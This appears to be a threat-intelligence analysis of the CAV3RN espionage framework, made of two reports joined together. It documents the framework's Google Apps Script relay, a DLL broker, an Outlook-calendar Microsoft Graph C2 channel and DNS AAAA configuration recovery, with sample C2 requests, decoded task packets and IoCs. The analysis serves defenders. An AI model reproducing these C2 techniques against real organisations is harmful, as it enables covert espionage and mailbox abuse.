POST /macros/s/AKfycbw2Wo4nYIQ*************UxSvjunDmNpeA/exec HTTP/1.1
Host: script.google.com
Content-Type: application/json

{"k":"s3criitC0d3/8-)B-,)","m":"GET","h":{"X-Client-Id":"AAAA000","User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31"},"b":null,"ct":null,"r":true}

The request returns a 302 redirect; a redirect-following client subsequently receives a 200 OK serving the response:

HTTP/2 302
content-type: text/html; charset=UTF-8
access-control-allow-origin: *
location: https://script.googleusercontent.com/macros/echo?user_content_key=AUkAhnT1XStTpObO…&lib=MQif1e23CL4IxZSlC7RWEgUDuxmmFKhYR
server: GSE

HTTP/2 200
content-type: application/json; charset=utf-8
access-control-allow-origin: *
server: GSE

{"s":200,"h":{"Content-Type":"text/html; charset=utf-8","Vary":"Cookie","Server":"nginx","Content Length":"4","Connection":"keep-alive","Date":"Mon, 03 Aug 2026 20:07:54 GMT","Access-Control-Allow-Origin":"*"},"b":"OS9FPQ=="}

Decoding b produces 9/E=; decoding it again produces f7 f1, which XORs with 0xAC to [], indicating an empty task list. An upstream timeout also exposed https://api.studiotikva[.]com/ac, confirming that the Apps Script deployment forwards requests to an actor-controlled backend.

Direct HTTPS channel

When DNS selects Direct HTTPS, the module contacts the configured ad address, https://api.studiotikva[.]com/api/v1/update/check, without using the relay. This occurs when the final octet is 130 (0x82) in the None, GIDFailed, or GoogleFailed states, or 120 (0x78) in the GIDFailed or GoogleFailed states. The endpoint expects the custom X-Client-Id header; requests without the expected header return {"res":"failed"} in its HTTP response.

However, a GET request carrying the correct X-Client-Id value receives a 76-byte body as shown in the following figure:

Wireshark capture showing the .p query sequence used for chunked retrieval of the Google Apps Script deployment ID

GET request to the header-gated C2 endpoint and its encoded tasking response

Base64-decoding the response body and XORing it with 0xAC produced the following broker-directed task packet: [{"type":"broker","cid":109,"payload":"002_;;__,_"}]. The broker type instructs the communication module to forward the task to the local broker.

Inter-component DLL broker

The inter-component broker, rnp.dll, is a 64-bit DLL compiled with Microsoft Visual C++. Its embedded PDB path is C:\Users\user\Desktop\Modules\broker-cavern\1.out\rnp.pdb. It masquerades as the RNP OpenPGP library through numerous rnp_* exports, while rnp_backend_string starts the broker.

The broker coordinates the framework’s DLL components. At startup, it creates the BROKER control structure, initializes its message dispatcher, and scans the host directory for DLLs. Components are grouped by CompanyName, and the highest-version candidate from each group is loaded if it exposes GroupByCategory, CheckAvailability, IsPrimeNumber, and OrderByDate.

The directory is rescanned every second, allowing a component to be added or upgraded without restarting the host. Updates require a higher-version DLL under a new path; replacing an existing file in place is not detected.

Loaded components exchange messages through the broker. It locates the requested destination and invokes that component’s callback. Unknown destinations return Err1::<destination>, while unavailable components return Err2::<destination>.

Command Function
000 Lists loaded component names and versions
001 Lists every DLL path discovered by the scanner
002 Lists each loaded component’s path, name, and version

The 002_;;__,_ task recovered from the Direct HTTPS channel is forwarded by the communication module to this broker, which returns its component inventory. When unloading or replacing a component, the broker calls its IsPrimeNumber export and waits for its worker threads to stop before unloading the DLL.

Infrastructure

Historical records show that studiotikva[.]com was first registered in February 2024. Wayback Machine captures show Wix’s default disconnected-domain page, while passive DNS associated the domain with Wix infrastructure hosted in an Israeli data center. The domain expired in February 2026 and was subsequently re-registered. It may therefore have originally belonged to a legitimate Israeli business and been acquired by the threat actor only after its expiration; the available evidence does not indicate when ownership changed.

The domain was registered again on May 12, 2026, and redelegated on May 19 to ns1.studiotikva[.]com and ns2.studiotikva[.]com, resolving to 144.172.115[.]17 and 144.172.104[.]82. It later hosted a generic “Studio Tikva” website that provided locally plausible cover: “Tikva” (תקווה) means “hope” in Hebrew.

The infrastructure supported authoritative DNS and direct HTTPS C2. The Google Apps Script deployment acted as an application-layer relay; during an upstream timeout, it exposed https://api.studiotikva[.]com/ac, revealing the actor-controlled backend endpoint.

Domain Registrar IP Hosting ASN
studiotikva[.]com
api.studiotikva[.]com
ns1.studiotikva[.]com
ns2.studiotikva[.]com
Dynadot Inc 144.172.115[.]17
144.172.104[.]82
RouterHosting LLC AS 14956

Conclusions

Project CAV3RN continues to evolve, introducing increasingly sophisticated components and communication capabilities. By abusing legitimate services — previously Outlook calendar events and now Google Apps Script — the framework blends its C2 traffic with normal network activity, complicating network-based detection. Given its development pace, modular design, and operational tempo, we assess that CAV3RN will likely continue to expand. We will continue tracking the framework and reporting on its activity in the wild.

Indicators of compromise

Additional IoCs are available to customers of our Threat Intelligence Reporting service. For more details, contact us at intelreports@kaspersky.com.

File hashes

904784c9943d019da332bea2cd03996f              CommunicationUxTheme.dll
f9156d42410c8a5429dec43329bd72e0              net.dll
2dcd4a8ac166404977cd3c48418a8cd9              rnp.dll
981c7404d31b8ce35ec88a6b290f354d              GoogleService.dll
34d50eec364d920b8b5d885c9bc98607             texture.dll

Domains and IPs

studiotikva[.]com
api.studiotikva[.]com
ns1.studiotikva[.]com
ns2.studiotikva[.]com
144.172.115[.]17
144.172.104[.]82

New Project CAV3RN module abuses Outlook calendar events for C2 and DNS AAAA records for configuration recovery

Introduction

In June 2026, as part of our Kaspersky Threat Intelligence Reporting service, we published extensive research on Project CAV3RN, a sophisticated modular framework used for cyberespionage activity against targets in Israel. We have been tracking this cluster since December 2025, and in late April 2026, we observed a major architectural shift: the developers moved from a three-component framework consisting of a downloader, executor, and uploader to a controller-based architecture with a dedicated WebSocket-enabled C2 communication component and a more extensible plugin system designed to support modular post-exploitation capabilities.

Subsequently, Check Point Research publicly reported on the same controller-based architecture in July 2026. However, neither our previous research nor the subsequent public reporting covered the latest communication component analyzed in this report.

Following our June 2026 publication, we identified a .NET Native AOT communication module that is apparently designed to replace the previous HTTP/WebSocket component. It exchanges commands and results through Outlook calendar events accessed via Microsoft Graph. If Microsoft Graph authentication or tenant validation fails, the module attempts to retrieve replacement connection settings through DNS AAAA responses.

Module network communication architecture

Module network communication architecture

During the preparation of this report, additional public research covering this communication component became available. The research presented in our article is based on our independent analysis and includes several additional implementation details that complement the existing public reporting.

Technical details

The previously reported controller-based CAV3RN architecture separates C2 communication from command execution. The controller, uxtheme.dll, generates and maintains the seven-character Agent ID, manages the polling loop, processes built-in commands, and dispatches other tasks or commands to separate plugins. The previously used communication component, n-HTCommp.dll, retrieved commands and transmitted execution results over HTTP/WebSocket.

Project CAV3RN architecture (April 2026)

Project CAV3RN architecture (April 2026)

The module performs the same communication role but uses Outlook calendar events accessed through Microsoft Graph. Similarly to the previous version, its get and send interface and use of the same controller-generated Agent ID suggest that it was designed to replace the previous communication component. However, because the corresponding updated controller was not recovered, this replacement role is assessed rather than directly observed.

C2 communication module

The communication module, AzureCommunication.dll, is a DLL compiled with .NET Native AOT, consistent with several other components of the Project CAV3RN framework that are publicly documented. Such a compilation method turns the managed application into native machine code and removes most of the metadata and intermediate language that normally make .NET assemblies straightforward to analyze.

The module exposes its functionality through a single export named QueryInterface. We expect an updated controller to load the DLL, resolve this export, and pass it a null-terminated UTF-16 string. The accepted input format closely follows the interface used by the previously documented CAV3RN controller.

get_;;_<agent-id>_,_<legacy-url>  
send_;;_<agent-id>_,_<legacy-url>_,_<result>

The _;;_ delimiter separates the operation from its arguments, while _,_ separates the arguments.

For get, the module only uses the first argument as the Agent ID. For send, it uses only the Agent ID and the result. In both cases, the additional legacy URL is ignored. It remains part of the interface for compatibility with the controller, even though the new module obtains its destination and credentials from its own Microsoft Graph configuration.

Outlook calendar events as a C2 channel

The DLL contains a complete default configuration, including the Microsoft Entra tenant ID, application credentials, target mailbox, DNS bootstrap host, and cryptographic keys required to establish communication.

Before processing either get or send operation, the module looks for a relative file named logAzure.txt. Because the code supplies only a filename, Windows resolves it against the current working directory of the process hosting the DLL.

If logAzure.txt exists, the module reads and deserializes it. If it is absent, the module builds the configuration from the hardcoded values and writes the complete object to disk with the following structure:

{
  "TenantId": "******-****-****-****-**********",  // Microsoft Entra tenant ID
  "ClientId": "********-****-****-****-************",  // application/client ID
  "ClientSecret": "********************************************",
  "UserEmail": "***@*********.co.il", // Compromised target Microsoft 365 mailbox
  "Host": "cloudlanecdn[.]com", // DNS bootstrap domain
  "PublicKey": "-----BEGIN RSA PUBLIC KEY-----\r\n[omitted]\r\n-----END RSA PUBLIC KEY-----", // outbound encryption public key
  "PrivateKey": "-----BEGIN RSA PRIVATE KEY-----\r\n[omitted]\r\n-----END RSA PRIVATE KEY-----" // inbound decryption private key
}

Using the resulting configuration, the module creates a Microsoft Graph client and validates access by requesting the tenant’s organization record through a GET request to  https://graph.microsoft.com/v1.0/organization.

Attempting this request causes the Azure Identity library to obtain an OAuth application token:

POST https://login.microsoftonline.com/<TenantId>/oauth2/v2.0/token
client_id=<ClientId>
client_secret=<ClientSecret>
scope=https://graph.microsoft.com/.default
grant_type=client_credentials

After successful authentication, the module includes the token in subsequent Graph requests using the Authorization: Bearer <access-token> header. The module uses the default calendar of the configured mailbox as a dead-drop channel. Commands, heartbeats, and results all occupy the same fixed one-hour window 2050-05-13 22:00–23:00 UTC.

Scheduling the events for 2050 makes them unlikely to appear in ordinary calendar views. The calendar event subject identifies each event’s purpose and associated Agent ID. Heartbeat and result subjects append the fixed suffix 1500 to this value; the suffix is not part of the Agent ID.

Subject format Purpose Module behavior
Event ID: <agent-id> Operator-to-agent command Searches for the event, downloads its attachments, and deletes it after consumption
Boss update ID: <agent-id>1500 Agent heartbeat Deletes the previous heartbeat event and creates a replacement
Boss Report ID: <agent-id>1500 Agent-to-operator command output Creates an event, uploads encrypted result attachments, and assigns the final subject

Receiving a command

For a get request, the module queries calendarView and filters the results by the Agent ID:

GET /v1.0/users/***@*********.co.il/calendarView?startDateTime=2050-05-13T22:00:00&endDateTime=2050-05-13T23:00:00&$filter=contains(subject,'Event ID: <agent-id>')

If Graph returns one or more matches, the module selects the first returned event and requests its attachments:

GET /v1.0/users/***@*********.co.il/events/<EventId>/attachments
Authorization: Bearer <access-token>

After obtaining the attachment response, the module deletes the calendar event:

DELETE /v1.0/users/***@*********.co.il/calendar/events/<EventId>
Authorization: Bearer <access-token>

Our analysis found a consistent difference in capitalization between command and result attachments:

Attachment name Direction Associated subject
file0.txt Operator to agent Event ID: <agent-id>
File0.txt Agent to operator Boss Report ID: <agent-id>1500

Inbound command decryption

Inbound commands use a combination of RSA and AES-GCM encryption. Once the attachments have been sorted and concatenated, the reconstructed encrypted command buffer begins with a 256-byte RSA-encrypted block containing the 32-byte AES key. The communication module decrypts this block with the RSA private key stored in its configuration, using RSA-OAEP with SHA-256.

The following 12 bytes contain the AES-GCM nonce, while the final 16 bytes contain the authentication tag. Everything between the nonce and tag is ciphertext. The module uses the recovered AES key to decrypt and authenticate this ciphertext with AES-256-GCM.

Encrypted attachment stored in a calendar event

Encrypted attachment stored in a calendar event

After RSA-OAEP-SHA256 and AES-256-GCM decryption, the 63-byte ciphertext produces {"cid": "alXBCzcDl8hBuNE", "type": "self", "cmd": "003_;;__,_"}.

Decrypted command

Decrypted command

The cid field appears to serve as a unique command-correlation identifier. As described in a previous publication of the framework, when the operator sets the JSON type field to self, the controller routes the command to its internal handler rather than dispatching it to an external plugin. In this command, the cmd field contains 003_;;__,_, where command 003 instructs the controller to toggle debug logging. After decryption, the communication module returns the complete command to the external controller through QueryInterface.

Sending command output

For a send request, the controller passes the command output to the communication module. The module encrypts the output using a newly generated AES-256-GCM key and protects that key with the configured RSA public key. It then divides the encrypted payload into chunks of up to 10 MiB.

To publish the result, the module creates a calendar event with the temporary subject d and attempts to add each encrypted chunk as a sequentially named attachment, such as File0.txt and File1.txt. After adding the attachments, it changes the subject to Boss Report ID: <agent-id>1500, marking the event as a completed result.

This process uses the following sequence of Microsoft Graph requests:

POST   /v1.0/users/***@*********.co.il/calendar/events
POST   /v1.0/users/***@*********.co.il/calendar/events/<EventId>/attachments
PATCH  /v1.0/users/***@*********.co.il/events/<EventId>

Together, the uploaded attachments contain fragments of one encrypted result package: the RSA-encrypted AES key, AES-GCM nonce, encrypted command output, and authentication tag. Recovering outbound results requires the private key corresponding to the outbound public key. This private key is assessed to be held separately by the attacker.

Heartbeat handling

The module maintains a heartbeat event identified by the subject Boss update ID: <agent-id>1500. The module searches the same fixed calendar window for a previous heartbeat associated with the agent. If one exists, the module deletes it and creates a replacement event with the temporary subject d through the following sequence of Microsoft Graph requests:

GET    /v1.0/users/***@*********.co.il/calendarView 
DELETE /v1.0/users/***@*********.co.il/events/<EventId> 
POST   /v1.0/users/***@*********.co.il/events

Finally, it updates the newly created event through the following PATCH request, replacing the temporary subject d with Boss update ID: <agent-id>1500.

PATCH /v1.0/users/***@*********.co.il/events/<EventId>
Authorization: Bearer <access-token>

{
  "subject": "Boss update ID: <agent-id>1500"
}

Heartbeat events use the same one-hour window in 2050 but contain no attachments.

The following figure summarizes the module’s operational workflow.

DNS AAAA configuration recovery mechanism

When OAuth token acquisition or the subsequent GET /v1.0/organization validation request fails, the module attempts to retrieve replacement TenantId, ClientId, ClientSecret, and UserEmail values through actor-controlled AAAA responses.

DNS-based configuration recovery (simplified)

DNS-based configuration recovery (simplified)

The module uses cloudlanecdn[.]com as its configuration-recovery domain. The domain is delegated to four actor-controlled authoritative nameservers, ns1 through ns4.cloudlanecdn[.]com, allowing the operator to generate different AAAA responses according to the Agent ID, configuration field, and fragment offset.

The module submits the generated DNS queries through the operating system’s configured recursive resolver, which follows the domain’s delegation to one of the authoritative nameservers. The returned IPv6 address is treated as a 16-byte container for protocol data rather than as a network destination.

For both get and send operations, the controller supplies the seven-character Agent ID as the first argument to QueryInterface. The communication module converts its UTF-8 bytes into two-character uppercase hexadecimal values. For example, SFmLgQZ becomes 53 46 6D 4C 67 51 5A, which the module concatenates as 53466D4C67515A.

The hexadecimal identifier is then embedded in every recovery query. The module retrieves four Microsoft Graph configuration values in a fixed order, with each value assigned a numeric index:

Index Configuration value
0 TenantId
1 ClientId
2 ClientSecret
3 UserEmail

Determining the field length through .p. queries

For each configuration value (TenantId, ClientId, ClientSecret, and UserEmail), the module first sends an AAAA query to determine the value’s total length: d.<hex-agent-id>.<field-index>.p.<host>.

In this format, <hex-agent-id> is the uppercase hexadecimal representation of the Agent ID supplied by the controller. The <field-index> identifies the requested configuration value according to the table above; for example, index 0 represents TenantId. The p marker indicates a length request, while <host> contains the configured DNS recovery domain, cloudlanecdn[.]com.

As an example, the following AAAA DNS query requests the length of the TenantId associated with Agent ID SFmLgQZ:

d.53466D4C67515A.0.p.cloudlanecdn[.]com

The AAAA response 2001:24:1234:5678:9abc:def0:1122:3344 corresponds to the byte sequence 20 01 00 24 12 34 56 78 9A BC DE F0 11 22 33 44. The module discards the first two bytes and interprets the following two bytes, 00 24, as a big-endian field length. This produces the value 0x0024, or 36 bytes. The remaining 12 bytes are ignored. The initial 2001 group is not treated as a network destination or strictly validated as a protocol marker; it simply occupies the two bytes that the module discards.

IPv6 AAAA record payload layout for obtaining length

IPv6 AAAA record payload layout for obtaining length

In the observed example, the same process produced a 36-byte TenantId, a 36-byte ClientId, a 40-byte ClientSecret, and a 28-byte UserEmail. The protocol itself supports other lengths because each value’s length is supplied dynamically by its .p. response.

To illustrate this process, we reproduced the protocol in a controlled environment using a laboratory domain.

Field length encoding in DNS AAAA record responses (example)

Field length encoding in DNS AAAA record responses (example)

Retrieving configuration data through .q. queries

After obtaining the field length from the .p. response, the module allocates a buffer of exactly that size and initializes an offset to 0. It then requests the field data using the following format: d.<hex-agent-id>.<field-index>.<offset>.q.<host>.

The <field-index> identifies the requested configuration value, while <offset> specifies where the fragment belongs in the output buffer. After checking for the sentinel address, the module discards the first two bytes of each normal .q. response and copies up to 14 of the remaining bytes. For the final response, it copies only the bytes required to reach the declared field length.

Queries continue at 14-byte offsets until the declared field length has been recovered.

The following figure shows the three .q. requests required to reconstruct a 36-byte TenantId.

TenantId retrieval process via DNS AAAA records (example)

TenantId retrieval process via DNS AAAA records (example)

In our laboratory responses, the first two bytes appear as the IPv6 group 2001 and are discarded. The responses at offsets 0 and 14 each provide 14 bytes, while the response at offset 28 supplies the final eight bytes. Concatenating and decoding these fragments produces the complete TenantId, 6f9d2a41-8c73-4b56-a1e8-2d407c95f3ab, as shown in the example figure.

The module repeats this procedure for ClientId, ClientSecret, and UserEmail. After reconstructing each value, it decodes the buffer as UTF-8, updates the corresponding configuration field, and writes the complete configuration to logAzure.txt. Once all four fields have been recovered, the module creates a new Graph client, repeats the /organization validation request, and resumes the original get or send operation if validation succeeds.

The DNS recovery mechanism updates only the TenantId, ClientId, ClientSecret, and UserEmail fields. It does not replace the configured DNS recovery host, RSA public or private keys, offering limited rotation for updating the domain itself that is used within the DNS fallback mechanism.

Failure handling and the sentinel AAAA response

In this module, the hard-coded IPv6 address 2001:4998:44:3507::8000 acts as a failure sentinel. After resolving an AAAA query, the module converts the first returned address to a string and compares it with this value before extracting any bytes. If the values match, it raises an exception and does not interpret the response as either a field length or configuration data.

The address belongs to Yahoo’s 2001:4998::/32 allocation. We could not determine why the developers selected it. The authoritative backend may return it for an unknown Agent ID, an unavailable field, an invalid index or offset, or an agent for which recovery is disabled. These conditions remain hypothetical because the backend was unavailable and the module handles every sentinel response in the same way.

Infrastructure

Historical DNS data shows that cloudlanecdn[.]com was registered on December 24, 2025. The domain initially used the Namecheap-operated nameservers dns1.registrar-servers.com and dns2.registrar-servers.com. On May 2, 2026, passive DNS first observed a transition from these vendor-managed nameservers to custom nameservers under cloudlanecdn[.]com.

Domain IP First seen ASN Hosting
ns1.cloudlanecdn[.]com 216.126.237[.]197
144.172.108[.]205
May 2, 2026 AS 14956 RouterHosting LLC
ns2.cloudlanecdn[.]com 216.126.237[.]197
144.172.108[.]205
May 2, 2026 AS 14956 RouterHosting LLC
ns3.cloudlanecdn[.]com 216.126.237[.]197
144.172.108[.]205
May 2, 2026 AS 14956 RouterHosting LLC
ns4.cloudlanecdn[.]com 144.172.108[.]205 May 21, 2026 AS 14956 RouterHosting LLC

Although the domain was delegated to four nameserver hostnames, their shared IP addresses reveal logical redundancy rather than four independently hosted DNS servers.

The shift from vendor‑managed DNS to custom in‑bailiwick authoritative nameservers aligns with the module’s DNS recovery design.

The DNS timeline overlaps with this new module’s development. Passive DNS first recorded the custom delegation on May 2, after the controller-and-plugin architecture was observed in April and before the May 19 timestamp stored in the new module. Because the custom authoritative infrastructure supports the module’s recovery protocol, we assess with moderate confidence that the infrastructure and module were prepared as part of the same development cycle.

Attribution

In our previous report, we attributed Project CAV3RN to OilRig (APT34) with low confidence. Analysis of the newly identified module provides additional evidence supporting this link.

Microsoft-hosted services for C2
Several OilRig malware strains have used Microsoft-hosted services for C2. RDAT malware exchanged commands and results through EWS email messages, and there are cases reported with the SC5k malware using Office 365 drafts, and OilCheck malware using Microsoft Graph to access Outlook drafts. CAV3RN uses the same class of service but stores commands and results in Outlook calendar events.

Secondary recovery mechanism for cloud C2
ESET previously documented OilBooster, which retrieved a replacement OAuth refresh token from a likely compromised website after repeated failures communicating with Microsoft OneDrive.

OilBooster used HTTP to recover a refresh token, whereas CAV3RN uses DNS AAAA records to recover four configuration fields. In both cases, the secondary mechanism restores access to the primary cloud C2 channel.

Compromised regional infrastructure
OilRig has previously used compromised infrastructure belonging to organizations in the regions it targets. Solar malware communicated through the compromised website of an Israeli human-resources company, while Whisper/Veaty malware used compromised Iraqi government Microsoft 365 mailboxes. The CAV3RN module similarly uses a compromised Microsoft 365 mailbox belonging to an Israeli law firm.

Based on the evidence discussed above, we retain our low-confidence assessment that Project CAV3RN is associated with OilRig. The new module shares several behavioral patterns with previously reported OilRig tooling, including the use of Microsoft-hosted services, attachment-based command exchange, and a secondary mechanism for restoring access to a cloud C2 channel. However, we identified no direct code reuse or infrastructure overlap.

Conclusions

The new module extends CAV3RN’s controller-and-plugin architecture with a Microsoft Graph-based communication transport. Its architectural continuity suggests that it was designed to replace the previous HTTP/WebSocket component with Outlook calendar events. If Graph authentication or validation fails, its DNS recovery protocol is designed to retrieve replacement connection settings.

The framework changed repeatedly between December 2025 and May 2026, indicating that development remains active. We continue to track this activity.

Indicators of compromise

Additional IoCs are available to customers of our Threat Intelligence Reporting service. For more details, contact us at intelreports@kaspersky.com.

File hashes

CAF021DDA726B8BA049C2AA395E505A1      AzureCommunication.dll
C092B02FBC0FDF7EE9608DD016673806      NewProject.dll
29B2B8C5D99F05BFCDD0D8D976EB5678      AzureCommunication.dll

Domains and IPs

cloudlanecdn[.]com
ns1[.]cloudlanecdn[.]com
ns2[.]cloudlanecdn[.]com
ns3[.]cloudlanecdn[.]com
ns4[.]cloudlanecdn[.]com
google.com[.]ayalon-print.co[.]il
clipeditskill[.]com
accesslinkssl[.]com
216[.]126[.]237[.]197
144[.]172[.]108[.]205

❌